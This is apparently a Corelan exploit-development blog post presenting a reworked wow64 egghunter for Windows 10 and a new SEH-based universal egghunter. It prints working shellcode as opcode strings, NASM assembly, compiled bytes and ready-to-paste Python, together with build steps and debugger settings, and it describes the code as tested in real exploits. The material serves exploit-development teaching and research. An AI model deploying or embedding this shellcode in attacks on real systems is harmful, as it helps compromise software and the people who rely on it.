19,544 views
Windows 10 egghunter (wow64) and more
Introduction
Ok, I have a confession to make, I have always been somewhat intrigued by egghunters. That doesn’t mean that I like to use (or abuse) an egghunter just because I fancy what it does. In fact, I believe it’s a good practise to try to avoid egghunters if you can, as they tend to slow things down.
What I mean, is that I have been fascinated by techniques to search memory without making the process crash. It’s just a personal thing, it doesn’t matter too much.
What really matters is that Corelan Team is back. Well, I’m back. This is my (technical) first post in nearly 3 years, and the first post since Corelan Team kind of “faded out” before that. (In fact, I’m curious to see if (some of) the original Corelan Team members would be able to find spare time again to join forces and to start doing / publishing some research. I certainly hope so but let’s see what happens.)
As some of you already know, I have recently left my day job. (long story, too long for this post. Glad to share details over a drink). I have launched a new company called “Corelan Consulting” and I’m trying to make a living through exploit development training and CyberSecurity consulting. Trainings are going well, with 2019 almost completely filled up, and already planning classes in 2020. You can find the training schedules here. If you’re interested in setting up the Corelan Bootcamp or Corelan Advanced class in your company or at a conference – read the testimonials first and then contact me :) I still need to work on my sales skills in relation with locking in consulting gigs, but I’m sure things will work out fine in the end. (Yes, please contact me if you’d like me to work with you, I’m available for part-time governance/risk management & assessment work ;-))
Anyway, while building the 2019 edition of the Corelan Bootcamp, updating the materials for Windows 10, I realised that the wow64 egghunter for Windows 7, written by Lincoln, no longer works on Windows 10. In fact, I kind of expected it to fail, as we already knew that Microsoft keeps changing the syscall numbers with every major Windows release. And since the most commonly used version egghunter mechanism is based on the use of a system call, it’s clear that changing the number will break the egghunter.
By the way : the system calls (and their numbers) are documented here: https://j00ru.vexillium.org/syscalls/nt/64/ (Thanks Mateusz “j00ru” Jurczyk). You can find the evolution of the “NtAccessCheckAndAuditAlarm” system call number in the table on the aforementioned website.
Anyway, changing a system call number doesn’t really sound all too exciting or difficult, but it also became clear that the arguments & stack layout, the behavior of the system call in Windows 10, also differs from the Windows 7 version.
We found some win10 egghunter PoCs flying around, but discovered that they did not work reliably in real exploits. Lincoln looked at it for a few moments, did some debugging andd produced a working version for Windows 10. :)
So, that means we’re quite proud to be able to announce a working (wow64) egghunter for windows 10. The version below has been tested in real exploits and targets.
wow64 egghunter for Windows 10
As explained, the challenge was to figure out where & how the new system call expects it’s arguments, how it changes registers & the stack to make sure that the arguments are always in the right place and provide the intended functionality: to test if a given page is accessible or not, and to do so without making the process die.
This is what the updated routine looks like:
"\x33\xD2" #XOR EDX,EDX "\x66\x81\xCA\xFF\x0F" #OR DX,0FFF "\x33\xDB" #XOR EBX,EBX "\x42" #INC EDX "\x52" #PUSH EDX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x6A\x29" #PUSH 29 (system call 0x29) "\x58" #POP EAX "\xB3\xC0" #MOV BL,0C0 "\x64\xFF\x13" #CALL DWORD PTR FS:[EBX] (perform the system call) "\x83\xC4\x10" #ADD ESP,0x10 "\x5A" #POP EDX "\x3C\x05" #CMP AL,5 "\x74\xE3" #JE SHORT "\xB8\x77\x30\x30\x74" #MOV EAX,74303077 "\x8B\xFA" #MOV EDI,EDX "\xAF" #SCAS DWORD PTR ES:[EDI] "\x75\xDE" #JNZ SHORT "\xAF" #SCAS DWORD PTR ES:[EDI] "\x75\xDB" #JNZ SHORT "\xFF\xE7" #JMP EDI
This egghunter works great on Windows 10, but it assumes you’re running inside the wow64 environment (32bit process on 64bit OS). Of course, as Lincoln has explained in his blogpost, you can simply add a check to determine the architecture and make the egghunter work on native 32bit OS as well.
You can generate this egghunter with mona.py too – simply run !mona egg -wow64 -winver 10
When debugging this egghunter (or any wow64 egghunter that is using system calls), you’ll notice access violations during the execution of the system call. These access violations can be safely passed through and will be handled by the OS… but the debugger will break every time it sees an access violation. (In essence, the debugger will break as soon as the code attempts to test a page that is not readable. In other words, you’ll get an awful lot of access violations, requiring your manual intervention.)
If you’re using Immunity Debugger, you can simply tell the debugger to ignore the access violations. To do so, click on ‘debugging options’, and open the ‘exceptions’ tab. Add the following hex values under “Add range”:
- 0xC0000005 – ACCESS VIOLATION
- 0x80000001 – STATUS_GUARD_PAGE_VIOLATION
Of course, when you have finished debugging the egghunter, don’t forget to remove these 2 exception again :-)
Going forward
For sure, MS is entitled to change whatever they want in their Operating System. I don’t think developers are supposed to issue system calls themselves, I believe they should be using the wrapper functions in ntdll.dll instead. In other words, it should be “safe” for MS to change system call numbers. I don’t know what is behind the the system call number increment with every Windows version, and I don’t know if the system call numbers are going to remain the same forever, as Windows 10 has been labeled as the “last Windows version”. From an egghunter perspective that would be great. As an increasingly larger group of people adopts Windows 10, the egghunter will have an increasingly larger success ratio as well. But in reality I don’t know if that is a valid assumption to make or not.
In any case it made me think: Would there be a way to use a different technique to make an egghunter work, without the use of system calls? And if so, would that technique also work on older versions of Windows? And if we’re not using system calls, would it work on native x86 and wow64 environments right away?
Let’s see.
Exception Handling
The original paper on egghunters (“Safely Searching Process Virtual Address Space”) written by skape (2004!) already introduced the the use of custom exception handlers to handle the access violation that will occur if you’re trying to read from a page that is not accessible. By making the handler point back into the egghunter, the egghunter would be able to move on. The original implementation, unfortunately, no longer seems to work. While doing some testing (many years ago, as well as just recently on Windows 10), it looks the OS doesn’t really allow you to make the exception handler to point directly to the stack (haven’t tried the heap, but I expect the same restriction to be in place). In other words, if the egghunter runs from the stack or heap, you wouldn’t be able to make the egghunter use itself as exception handler and move on.
Before looking at a possible solution, let’s remind ourselves of how the exception handling mechanism works. When the OS sees an exception and decides to pass it to the corresponding thread in the process, it will instruct a function in ntdll.dll to launch the Exception Handling mechanism within that thread. This routine will check the TEB at offset 0 (accessible via FS:[0]) and will retrieve the address of the topmost record in the exception handling chain on the stack. Each record consists of 2 fields:
struct EXCEPTION_REGISTRATION { EXCEPTION_REGISTRATION *nextrecord; // pointer to next record (nseh) DWORD handler; // pointer to handler function };
The topmost record contains the address of the routine that will be called first in order to check if the application can handle the exception or not. If that routine fails, the next record in the chain will be tried (either until one of the routines is able to handle the exception, or until the default handler will be used, sending the process to heaven). So, in other words, the routine in ntdll.dll will find the record, and will call the “handler” address (i.e. whatever is placed in the second field of the record).
So, translating this into the egghunter world: If we want to maintain control over what happens when an exception occurs, we’ll have to create a custom “topmost” SEH record, making sure it is the topmost record at all times during the execution of the egghunter, and we’ll have to make the record handler point into a routine that allows our egghunter to continue running and move on with the next page. Again, if our “custom” record is the topmost record, we’ll be sure that it will be the first one to be used.
Of course we should be careful and take the consequences and effects of running the exception handling mechanism into account:
- The exception handling mechanism will change the value of ESP. The functionality will create an “exception dispatcher stack” frame at the new ESP location, with a pointer to the originating SEH frame at ESP+8. We’ll have to “undo” this change to ESP to make sure we make it point back to the area on the stack where the egghunter is storing its data.
- Next, we should also avoid creating new records all the time. Instead, we should try to continue to use the same record over and over again, avoiding to push data to the stack all the time, avoiding that we’d run out of stack space. Additionally, of course, the egghunter needs to be able to run from any location in memory.
- Finally, whatever we put as “SE Handler” (second field of the record) has to be SAFESEH compatible. Unfortunately that is the weak spot of my “solution”. Additionally, my routine won’t work if SEHOP is active. (but that’s not active by default on client systems IIRC)
Creating our own custom SEH record means that we’re going to be writing something to the stack, overwriting/damaging what is already there. So, if your egghunter/shellcode is also on the stack around that location, you may want to adjust ESP before running the egghunter. Just sayin’ :)
This is what my SEH based egghunter looks like (ready to compile with nasm):
; Universal SEH based egg hunter (x86 and wow64) ; tested on Windows 7 & Windows 10 ; written by Peter Van Eeckhoutte (corelanc0d3r) ; www.corelan.be - www.corelan-training.com - www.corelan-consulting.com ; ; warning: will damage stack around ESP ; ; usage: find a non-safeseh protected pointer to pop/pop/ret and put it in the placeholder below ; [BITS 32] CALL $+4 ; getPC routine RET POP ECX ADD ECX,0x1d ; offset to "handle" routine ;set up SEH record XOR EBX,EBX PUSH ECX ; remember where our 'custom' SE Handler routine will be PUSH ECX ; p/p/r will fly over this one PUSH 0x90c3585c ; trigger p/p/r again :) PUSH 0x44444444 ; Replace with P/P/R address ** PLACEHOLDER ** PUSH 0x04EB5858 ; SHORT JUMP MOV DWORD [FS:EBX],ESP ; put our SEH record to top of chain JMP nextpage handle: ; our custom handle SUB ESP,0x14 ; undo changes to ESP XOR EBX,EBX MOV DWORD [FS:EBX],ESP ; make our SEH record topmost again MOV EDX, [ESP+24] ; pick up saved EDX INC EDX nextpage: OR DX, 0x0FFF INC EDX MOV [ESP+24], EDX ; remember where we are searching MOV EAX, 0x74303077 ; w00t MOV EDI, EDX SCASD JNZ nextpage+5 SCASD JNZ nextpage+5 JMP EDI
Let’s look at the various components of the egg hunter.
- First, the hunter starts with a “GetPC” routine (designed to find it’s own absolute address in memory), followed by an instruction that adds 0x1d bytes to the address it was able to retrieve using that GetPC routine. After adding this offset, ECX will contain the absolute address where the actual “handler” routine will be in memory. (referenced by label “handle” in the code above). Keep in mind, the egghunter needs to be able to dynamically determine this location at runtime, because the egghunter will use the exception handler mechanism to come back to itself and continue running the egghunter. That means we’ll need to know (determine) where it is, store the reference on the stack, so we can “retrieve/jump” to it later during the exception handling mechanism.
- Next, the code is creating a new custom SEH record. Although a SEH record only takes 2 fields, the code is actually pushing 5 specially crafted values on the stack. Only the last 2 of them will become the SEH record, the other ones are used to allow the exception handler to restore ESP and continue execution of the egghunter. Let’s look at what gets pushed and why:
- PUSH ECX: this is the address where the “handle” routine is in memory, as determined by the GetPC routine earlier. The exception handler will need to eventually return to this one.
- PUSH ECX: we’re pushing the address again, but this one won’t be used. We’ll be using the pop/pop/ret pointer twice. The first time will be used for the exception handler to bring execution back to our code, the second time it will be used to return to the “ECX” stored on the stack. This second ECX is just there to compensate for the second POP in the p/p/r. You can push anything you like on the stack.
- PUSH 0x90c3585C: this code will get executed. It’s a POP ESP, POP EAX, RET. This will reset the stack back to the original location on the stack where we have stored the SEH record. The RET will transfer execution back to the p/p/r pointer on the stack (part of the SEH record). In other words, the p/p/r pointer will be used twice. The second time, it will eventually return to the address of ECX that was stored on the stack. (see previous PUSH ECX instructions)
- Next, the real SEH record is created, by pushing 2 more values to the stack:
- Pointer to P/P/R (must be a non-safeseh protected pointer). We have to use a p/p/r because we can’t make this handler field point directly into the stack (or heap). As we can’t just make the exception mechanism go back directly to our codewe’ll use the pop/pop/ret to maintain control over the execution flow. In the code above, you’ll have to replace the 0x44444444 value with the address of a non-SafeSEH protected pop/pop/ret. Then, when an exception occurs (i.e. when the egghunter reaches a page that is not accessible), the pop/pop/ret will get triggered execute for the first time, returning to the 4 bytes in the first field of the SEH record.
- In the first field of the SEH record, I have placed 2 pops and a short jump forward sequence. This will adjust the stack slightly, so the pointer to the SEH record ends up at the top of the stack. Next it will jump to the instruction sequence that was pushed onto the stack earlier on (0x90C3585C). As explained, that sequence will trigger the POP/POP/RET again, which will eventually return to the stored ECX pointer (which is where the egghunter is)
- To complete the creation of the SEH record and to mark it as the topmost record, we’re simply writing its location into the TEB. As our new custom SEH record currently sits at ESP, we can simply write the value of ESP into the TEB at offset 0 (MOV DWORD [FS:EBX],ESP). (That’s why we cleared EBX in the first place)
At this point, the egghunter is ready to test if a page is readable. The code will use EDX as the reference where to read from. The routine starts by going to the end of the page (OR DX, 0x0FFF), then goes to the start of the next page (INC EDX), and then we store the value of EDX on the stack (at [ESP-4]), so the exception handler would be able to pick it up later on. If the read attempt (SCASD) fails, an access violation will be triggered. The access violation will use our custom SEH record (as it is supposed to be the topmost record), and that routine is designed to resume execution of the egghunter (by running the “handle” routine, which will eventually restore the EDX pointer from the stack and move on to the next page). The “handle” routine will:
- Adjust the stack again, correcting its position to put it where it is/should be when running the egghunter. (SUB ESP,0x14)
- Next it will make sure our custom record is the topmost SEH record again (just anticipating in case some other code would have added a new topmost record).
- Finally it will pick up a reference from the stack (where we stored the last address we’ve tried to access) and move on (with the next page).
If a page is readable, the egghunter will check for the presence of the tag, twice. If the tags are found, the final “JMP EDI” will tell the CPU to run the code placed right after the double tag.
When debugging the egghunter, you’ll notice that it’ll throw access violations (when the code tries to access a page that is not accessible). Of course, in this case, these access violations are absolutely normal, but you’ll still have to pass the exceptions back to the application (Shift F9). You can also configure Immunity Debugger to ignore (and pass) the exceptions automatically, but configuring the Exceptions. To do so, click on ‘debugging options’, and open the ‘exceptions’ tab. Add the following hex values under “Add range”:
- 0xC0000005 – ACCESS VIOLATION
- 0x80000001 – STATUS_GUARD_PAGE_VIOLATION
Of course, when you have finished debugging the egghunter, don’t forget to remove these 2 exception again.
In order to use the egghunter, you’ll need to convert the asm instructions into opcode first. To do so, you’ll need to install nasm. (I have used the Win32 installer from https://www.nasm.us/pub/nasm/releasebuilds/2.14.02/win32/)
Save the asm code snippet above into a text file (for instance “c:\dev\win10_egghunter_seh.nasm”). Next, run “nasm” to convert it into a binary file that contains the opcode:
"C:\Program Files (x86)\NASM\nasm.exe" -o c:\dev\win10_egghunter_seh.obj c:\dev\win10_egghunter_seh.nasm
Next, dump the contents of the binary file to a hex format that you can use in your scripts and exploits:
python c:\dev\bin2hex.py c:\dev\win10_egghunter_seh.obj
(You can find a copy of the bin2hex.py script in Corelan’s github repository)
If all goes well, this is what you’ll get:
"\xe8\xff\xff\xff\xff\xc3\x59\x83" "\xc1\x1d\x31\xdb\x51\x51\x68\x5c" "\x58\xc3\x90\x68\x44\x44\x44\x44" "\x68\x58\x58\xeb\x04\x64\x89\x23" "\xeb\x0d\x83\xec\x14\x31\xdb\x64" "\x89\x23\x8b\x54\x24\x24\x42\x66" "\x81\xca\xff\x0f\x42\x89\x54\x24" "\x24\xb8\x77\x30\x30\x74\x89\xd7" "\xaf\x75\xf1\xaf\x75\xee\xff\xe7"
Again, don’t forget to replace the \x44\x44\x44\x44 (end of third line) with the address of a pop/pop/ret (and to store the address in little endian, if you are editing the bytes :) )
Python friendly copy/paste code:
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83" "\xc1\x1d\x31\xdb\x51\x51\x68\x5c" "\x58\xc3\x90\x68") egghunter += "\x??\x??\x??\x??" #replace with pointer to pop/pop/ret. Use !mona seh egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23" "\xeb\x0d\x83\xec\x14\x31\xdb\x64" "\x89\x23\x8b\x54\x24\x24\x42\x66" "\x81\xca\xff\x0f\x42\x89\x54\x24" "\x24\xb8\x77\x30\x30\x74\x89\xd7" "\xaf\x75\xf1\xaf\x75\xee\xff\xe7")
I have not added the routine to mona.py yet (but I will, eventually, at some point). Of course, if you see room for improvement, and/or able to reduce the size of the egghunter, please don’t hesitate to let me know. (I’ll be waiting for your feedback for a while before adding it to mona).
Of course I’d love to hear if the egghunter works for you, and if it works across Windows versions and architectures (32bit systems, older Windows versions, etc).
That’s all folks
Thanks for reading! I hope you have enjoyed this brand new article and I hope you’re as excited about the future as much as I am.
If you would like to hang out, discuss infosec topics, ask question (and answer questions), please sign up to our Slack workspace. To access the workspace:
- Head over to https://www.facebook.com/corelanconsulting (and like the page while you’re at it). You don’t need a facebook account, the page is public.
- Scroll through the posts and look for the one that contains the invite link to Slack
- Register, done.
Also, feel free to follow us on Twitter (@corelanconsult) to stay informed about new articles and blog posts.
Corelan Training & Corelan Consulting
This article is just a small example of what you’ll learn in our Corelan Bootcamp. If you’d like to take one of our Corelan classes, check our schedules at https://www.corelan-training.com/index.php/training-schedules. If you prefer to set up a class at your company or conference, don’t hesitate to contact me via this form.
As explained at the start of the article: the trainings and consulting gigs are now my main form of income. I am only able to do research and publish information for free if I can make a living as well. This website is supported, hosted and funded by Corelan Consulting. The more classes I can teach and the more consulting I can do, the more time I can invest in research and publication of tutorials.
Thanks!
© 2019 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.
Pingback: Windows 10 egghunter (wow64) and more | Corelan Team – The Library 6.0